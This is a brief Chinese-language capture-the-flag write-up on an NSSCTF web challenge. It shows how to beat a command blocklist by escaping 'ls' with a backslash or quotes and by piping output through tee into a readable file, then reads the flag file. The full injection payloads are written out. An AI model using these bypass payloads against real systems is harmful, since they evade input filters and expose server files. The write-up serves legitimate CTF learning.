发现过滤了蛮多的。一般用的命令都被禁了。
分析:
在linux里有一个tee命令。这里贴一下菜鸟教程的解释。
由于函数exec()执行完不返回结果,所以我们可以借助tee把命令写到文件里面去。通过访问文件来得到结果。虽然ls被禁了,但是我们可以用转义符或者引号来绕过。构造payload如下:
?url=l\s /|tee 1.txt
或者?url=l's' /|tee 1.txt
然后去访问1.txt。
http://node1.anna.nssctf.cn:28158/1.txt
最终是在flllllaaaaaaggggggg里面找到的flag。
payload如下:
http://node1.anna.nssctf.cn:28158/?url=tac /flllll\aaaaaaggggggg|tee 2.txt
然后访问2.txt就可以了。